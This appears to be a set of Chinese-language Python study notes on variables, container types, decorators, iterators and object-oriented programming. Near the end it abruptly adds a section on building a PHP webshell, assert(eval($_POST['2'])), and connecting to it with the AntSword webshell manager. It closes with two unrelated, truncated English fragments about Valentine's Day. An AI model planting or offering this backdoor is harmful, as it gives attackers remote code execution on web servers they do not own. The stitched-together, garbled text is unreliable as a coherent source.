1.python變量
變量Python 是強類型的動態腳本語言
強類型:不允許不同類型相加。例如:整形+字符串會報類型錯誤。
動態:不使用顯示數據類型聲明,且確定一個變量的類型是在第一次給它賦值的時候。
腳本語言:一般是解釋性語言,運行代碼只需要一個解釋器,不需要編譯。
Python 變量的賦值指的是將數據放入變量的過程。
Python 變量無須聲明數據類型就可以直接賦值,對一個不存在的變量賦值就相當於創建(定義)了一個新變量,換句話說 Pyhton 創建變量就必須賦值。
Python 變量的數據類型可以隨時改變,比如,同一個變量可以一會兒被賦值為字符串,一會兒被賦值為整數。
2.python列表,元組,字典
1、列表(list):[XXX,XXX] 有序性,輸入值可以相同,且任意類型
2、元組(tuple):(XXX,XXX) 與列表一樣,有序、有索引,輸入值可以相同,且任意類型
3、字典(dict):{"XX":"XX",} 鍵值對無序,key是要唯一的,一般都是字符串,value可以為任意類型
區別:
1、列表,字典是支持增刪改,元組不支持增刪改
2、列表,元組都為有序有索引,字典是無序無索引
3、列表,元組的值可重復可任意類型,字典是鍵值對Key-value,key要唯一,value可為任意類型
3.python裝飾器
裝飾器指,原有函數或類的基礎上進行功能擴展,但又不會破壞這個函數本身的功能。並且可以方便的添加和去除這一部分擴展的功能的需求
裝飾器的工作原理:將被裝飾的函數放入到一個新的函數中執行,做你以你的任何想法來實現自己想要的功能卻不需要改變被裝飾的函數
4.python迭代
通過重復執行的代碼處理相似的數據集的過程,並且本次迭代的處理數據要依賴上一次的結果繼續往下做,上一次產生的結果為下一次產生結果的初始狀態,如果中途有任何停頓,都不能算是迭代。
可迭代對象:可迭代對象並不是指某種具體的數據類型,它是指存儲了元素的一個容器對象,且容器中的元素可以通過__iter__( )方法或__getitem__( )方法訪問
常見迭代對象:
a.集合數據類型,如list、tuple、dict、set、str等;
b.生成器(generator),包括生成器和帶yield的生成器函數(generator function)
5.python迭代器
迭代器是一種對象,該對象包含值的可計數數字。
迭代器是可迭代的對象,這意味著您可以遍歷所有值。
在 Python 中,迭代器是實現迭代器協議的對象,它包含方法 __iter__()
和 __next__()
_iter__(): 返回自身以獲取該類的迭代器
__next__():返回容器中的下一個元素
6.python面向對象
采用構造模型的觀點,在系統的開發過程中,各個步驟的共同的目標是建造一個問題域的模型。在面向對象的設計中,初始元素是對象,然後將具有共同特征的對象歸納成類,組織類之間的等級關系,構造類庫。在應用時,在類庫中選擇相應的類
面向對象編程的主要思想是把構成問題的各個事務分解成各個對象,建立對象的目的不是為了完成一個步驟,而是為了描敘一個事物在整個解決問題的步驟中的行為
7.實例屬性
實例對象所擁有的屬性只能通過實例對象訪問
1,實例屬性一般在__ init __( ) 方法中:
self實例屬性名 = 初始值
2,在本類的其他實例方法中,也是通過self 進行訪問:
self實例屬性名
3,創建實例對象後,通過實例對象訪問:
obj01 = 類名() # 創建對象,調用 __init__() 初始化屬性
obj01.實例屬性名 = 值 # 可以給己有屬性賦值,也可以新加屬性
8.實例方法
實例方法或者叫對象方法,指的是我們在類中定義的普通方法。
只有實例化對象之後才可以使用的方法,該方法的第一個形參接收的一定是對象本身
9.類屬性
類對象所擁有的屬性,它被所有類對象的實例對象(實例方法)所共有,對於公有的類屬性,在類外可以通過類對象和實例對象訪問
10.類方法
無需實例化,可以通過類直接調用的方法,但是方法的第一個參數接收的一定是類本身
assert利用蟻劍登錄
構造木馬
assert() 函數把傳入的參數直接當成PHP代碼執行,不需要以 ; 結尾
所以木馬代碼為assert(eval($_POST['2']));
然後保存入蟻劍編輯數據,然後進行連接測試,就會提示連接成功。
The annual Valentines Day is c
I believe you are familiar wit